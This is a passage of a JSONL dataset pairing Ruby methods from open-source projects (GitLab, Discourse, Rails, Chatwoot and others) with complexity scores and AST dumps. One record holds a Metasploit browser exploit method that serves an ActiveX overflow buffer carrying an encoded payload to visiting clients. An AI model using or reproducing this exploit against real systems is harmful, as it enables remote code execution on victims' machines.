\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILETYPE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Specify LOGFILE or TRACEFILE\"]},{\"type\":\"str\",\"children\":[\"TRACEFILE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"TRACEFILE\"]},{\"type\":\"str\",\"children\":[\"LOGFILE\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_autofilter_ports\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[50013]}]}]}]}]}","id":"209a044f-9ad5-4968-a5a0-6cd98f81ed0d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/logitechvideocall_start.rb","start_line":59,"raw_source":"def on_request_uri(cli, request)\n    # Re-generate the payload\n    return if ((p = regenerate_payload(cli)) == nil)\n\n    # Randomize some things\n    vname\t= rand_text_alpha(rand(100) + 1)\n    strname\t= rand_text_alpha(rand(100) + 1)\n\n    # Set the exploit buffer\n    sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V') + p.encoded\n\n    # Build out the message\n    content = %Q|\n      <html>\n      <object classid='clsid:BF4C7B03-F381-4544-9A33-CB6DAD2A87CD' id='#{vname}'></object>\n      <script language='javascript'>\n      var #{vname} = document.getElementById('#{vname}');\n      var #{strname} = new String('#{sploit}');\n      #{vname}.Start(#{vname}, #{vname}, #{strname});\n      </script>\n      </html>\n      |\n\n    print_status(\"Sending #{self.name}\")\n\n    # Transmit the response to the client\n    send_response_html(cli, content)\n\n    # Handle the payload\n    handler(cli)\n  end","complexity_score":34.3,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"vname\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"strname\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"encoded\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      <html>\\n\"]},{\"type\":\"str\",\"children\":[\"      <object classid='clsid:BF4C7B03-F381-4544-9A33-CB6DAD2A87CD' id='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\"'></object>\\n\"]},{\"type\":\"str\",\"children\":[\"      <script language='javascript'>\\n\"]},{\"type\":\"str\",\"children\":[\"      var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\" = document.getElementById('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\"');\\n\"]},{\"type\":\"str\",\"children\":[\"      var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strname\"]}]},{\"type\":\"str\",\"children\":[\" = new String('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"str\",\"children\":[\"');\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\".Start(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\", \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"strname\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"      </script>\\n\"]},{\"type\":\"str\",\"children\":[\"      </html>\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"4b25e786-a52e-436d-b0f4-c1e0a1fa059e"}
{"repo_name":"forem","file_path":"./repos/forem/app/workers/push_notifications/deliver_worker.rb","start_line":11,"raw_source":"def perform\n      # Deliver all pending Push Notifications\n      Rpush.push\n      # Callback for feedback (see `config/initializers/rpush.rb`)\n      Rpush.apns_feedback\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rpush\"]},\"push\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rpush\"]},\"apns_feedback\"]}]}]}","id":"02be2aeb-b1c1-4d06-a3b3-9ff000f41e56"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/cache_fetcher_test.rb","start_line":164,"raw_source":"def write_lock(client_id: SecureRandom.uuid, data_version:)\n    lock = IdentityCache::CacheFetcher::FillLock.new(client_id: client_id, data_version: data_version)\n    other_cache_fetcher.write(key, lock)\n    lock\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"write_lock\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"kwarg\",\"children\":[\"data_version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lock\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"CacheFetcher\"]},\"FillLock\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client_id\"]},{\"type\":\"lvar\",\"children\":[\"client_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data_version\"]},{\"type\":\"lvar\",\"children\":[\"data_version\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"other_cache_fetcher\"]},\"write\",{\"type\":\"send\",\"children\":[null,\"key\"]},{\"type\":\"lvar\",\"children\":[\"lock\"]}]},{\"type\":\"lvar\",\"children\":[\"lock\"]}]}]}","id":"08bd3831-5a68-45cc-8941-16da49d3ce8d"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/notification.rb","start_line":190,"raw_source":"def primary_actor_data\n    {\n      primary_actor: primary_actor&.push_event_data,\n      # TODO: Rename push_message_title to push_message_body\n      push_message_title: push_message_body,\n      push_message_body: push_message_body\n    }\n  end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"primary_actor_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"primary_actor\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"primary_actor\"]},\"push_event_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"push_message_title\"]},{\"type\":\"send\",\"children\":[null,\"push_message_body\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"push_message_body\"]},{\"type\":\"send\",\"children\":[null,\"push_message_body\"]}]}]}]}","id":"431c57f5-4385-47a1-a6f1-02b080150000"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/controllers/family/invitations_controller.rb","start_line":15,"raw_source":"def show\n    token = params[:token] || params[:id]\n    @invitation = Family::Invitation.find_by!(token: token)\n\n    if @invitation.expired?\n      redirect_to root_path, alert: 'This invitation has expired.' and return\n    end\n\n    unless @invitation.pending?\n      redirect_to root_path, alert: 'This invitation is no longer valid.' and return\n    end\n  end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@invitation\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Family\"]},\"Invitation\"]},\"find_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@invitation\"]},\"expired?\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"root_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"str\",\"children\":[\"This invitation has expired.\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@invitation\"]},\"pending?\"]},null,{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"root_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"alert\"]},{\"type\":\"str\",\"children\":[\"This invitation is no longer valid.\"]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]}]}]}","id":"b5466e57-5d6a-4724-b8a2-ffe14fea40b9"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/search.rb","start_line":23,"raw_source":"def click_search_menu_link\n        find(\".search-menu .results .search-link\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_search_menu_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".search-menu .results .search-link\"]}]},\"click\"]}]}","id":"0f75eee0-0a1b-433e-8764-7f18045a3f5c"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/navigation_menu/header_dropdown.rb","start_line":32,"raw_source":"def has_no_dropdown_visible?\n          page.has_no_css?(\".sidebar-hamburger-dropdown\")\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_dropdown_visible?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_no_css?\",{\"type\":\"str\",\"children\":[\".sidebar-hamburger-dropdown\"]}]}]}","id":"45ed0889-858b-4a4d-a9a9-72b5571780f2"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/lib/calendar_settings_validator.rb","start_line":4,"raw_source":"def initialize(opts = {})\n    @opts = opts\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@opts\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"c1dbebb4-cf0b-4448-bf3a-98efba3c3c66"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_travel_test.rb","start_line":500,"raw_source":"def test_time_helper_freeze_time_with_block\n    expected_time = Time.now\n\n    freeze_time do\n      sleep(1)\n\n      assert_equal expected_time.to_fs(:db), Time.now.to_fs(:db)\n    end\n\n    assert_operator expected_time.to_fs(:db), :<, Time.now.to_fs(:db)\n  end","complexity_score":15.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_time_helper_freeze_time_with_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"freeze_time\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_time\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected_time\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]},{\"type\":\"sym\",\"children\":[\"<\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_fs\",{\"type\":\"sym\",\"children\":[\"db\"]}]}]}]}]}","id":"ef733b3f-68dc-49df-9e13-893849b5f363"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/security/ci_configuration/secret_detection_build_action.rb","start_line":29,"raw_source":"def set_stages\n        existing_stages = @existing_gitlab_ci_content['stages'] || []\n        base_stages = @auto_devops_enabled ? auto_devops_stages : ['test']\n        (existing_stages + base_stages + [secret_detection_stage]).uniq\n      end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_stages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"existing_stages\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@existing_gitlab_ci_content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"stages\"]}]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"base_stages\",{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@auto_devops_enabled\"]},{\"type\":\"send\",\"children\":[null,\"auto_devops_stages\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_stages\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"base_stages\"]}]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"secret_detection_stage\"]}]}]}]},\"uniq\"]}]}]}","id":"fa165a3d-f41d-4129-9278-ab18ab748d04"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/clusters/create_service.rb","start_line":53,"raw_source":"def validate_management_project_permissions(cluster)\n      Clusters::Management::ValidateManagementProjectPermissionsService.new(current_user)\n        .execute(cluster, params[:management_project_id])\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_management_project_permissions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cluster\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Clusters\"]},\"Management\"]},\"ValidateManagementProjectPermissionsService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"execute\",{\"type\":\"lvar\",\"children\":[\"cluster\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"management_project_id\"]}]}]}]}","id":"808ebc4f-2f38-4c73-b3a9-8516d79cda04"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_status.rb","start_line":91,"raw_source":"def self.num_completed(job_ids)\n      job_ids.size - self.num_running(job_ids)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"num_completed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_ids\"]},\"size\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"num_running\",{\"type\":\"lvar\",\"children\":[\"job_ids\"]}]}]}]}","id":"b7a7380a-5e2c-4cb1-96e1-63f23226cd8e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/requests/embeddings/embeddings_controller_spec.rb","start_line":24,"raw_source":"def index(topic)\n      vector = DiscourseAi::Embeddings::Vector.instance\n\n      stub_request(:post, \"https://api.openai.com/v1/embeddings\").to_return(\n        status: 200,\n        body: JSON.dump({ data: [{ embedding: [0.1] * 1536 }] }),\n      )\n\n      vector.generate_representation_from(topic)\n    end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vector\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Embeddings\"]},\"Vector\"]},\"instance\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://api.openai.com/v1/embeddings\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"dump\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embedding\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"float\",\"children\":[0.1]}]},\"*\",{\"type\":\"int\",\"children\":[1536]}]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vector\"]},\"generate_representation_from\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]}]}","id":"7ef3df42-d4b7-4cd7-a848-972116b29f49"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/providers/db/adapter.rb","start_line":34,"raw_source":"def configure_from_adapter(other_adapter)\n          return if skip_defaults?\n\n          plugins.concat(other_adapter.plugins).uniq! unless skip_defaults?(:plugins)\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"configure_from_adapter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other_adapter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_defaults?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_defaults?\",{\"type\":\"sym\",\"children\":[\"plugins\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugins\"]},\"concat\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other_adapter\"]},\"plugins\"]}]},\"uniq!\"]}]}]}]}","id":"dfc578ce-5494-4a7f-a7ea-bf442d5f8570"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/components/layouts/settings_block_component.rb","start_line":30,"raw_source":"def section_classes\n      classes = %w[settings no-animate]\n      classes.push('expanded') if @expanded\n      classes.push(@css_class) if @css_class\n      classes.join(' ')\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"section_classes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"classes\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"settings\"]},{\"type\":\"str\",\"children\":[\"no-animate\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@expanded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes\"]},\"push\",{\"type\":\"str\",\"children\":[\"expanded\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@css_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes\"]},\"push\",{\"type\":\"ivar\",\"children\":[\"@css_class\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"classes\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}","id":"cbf59cc4-0dca-4a74-85fe-ca397cb3ecab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/concerns/worker_attributes.rb","start_line":55,"raw_source":"def prefer_calling_context_feature_category(preference = false)\n      set_class_attribute(:prefer_calling_context_feature_category, preference)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"prefer_calling_context_feature_category\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"preference\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"set_class_attribute\",{\"type\":\"sym\",\"children\":[\"prefer_calling_context_feature_category\"]},{\"type\":\"lvar\",\"children\":[\"preference\"]}]}]}","id":"c63bd0fa-f75e-477f-96db-384359484463"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/search.rb","start_line":297,"raw_source":"def offset\n    if @page && @opts[:type_filter].present?\n      (@page - 1) * Search.per_filter\n    else\n      0\n    end\n  end","complexity_score":8.48,"ast_json":"{\"type\":\"def\",\"children\":[\"offset\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type_filter\"]}]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Search\"]},\"per_filter\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}","id":"1163074a-8787-454a-b997-ec1a4a7f13f7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/rspec/before_all_role_assignment.rb","start_line":49,"raw_source":"def on_send(node)\n          object_calling_add_role = object_calling_add_role_method(node)\n          return unless object_calling_add_role\n\n          before_block = before_block_ancestor(node)\n          return unless before_block\n\n          each_block_node_in_ancestor(node) do |child_node|\n            matching_let_it_be(child_node, name: object_calling_add_role) do |let_it_be|\n              message = format(MSG, let_it_be: let_it_be)\n              add_offense(node, message: message)\n            end\n          end\n        end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"object_calling_add_role\",{\"type\":\"send\",\"children\":[null,\"object_calling_add_role_method\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object_calling_add_role\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"before_block\",{\"type\":\"send\",\"children\":[null,\"before_block_ancestor\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"before_block\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_block_node_in_ancestor\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child_node\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"matching_let_it_be\",{\"type\":\"lvar\",\"children\":[\"child_node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"object_calling_add_role\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"let_it_be\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"let_it_be\"]},{\"type\":\"lvar\",\"children\":[\"let_it_be\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}]}]}]}","id":"854140d8-d1ec-4cdf-a82c-12197bd0da94"}
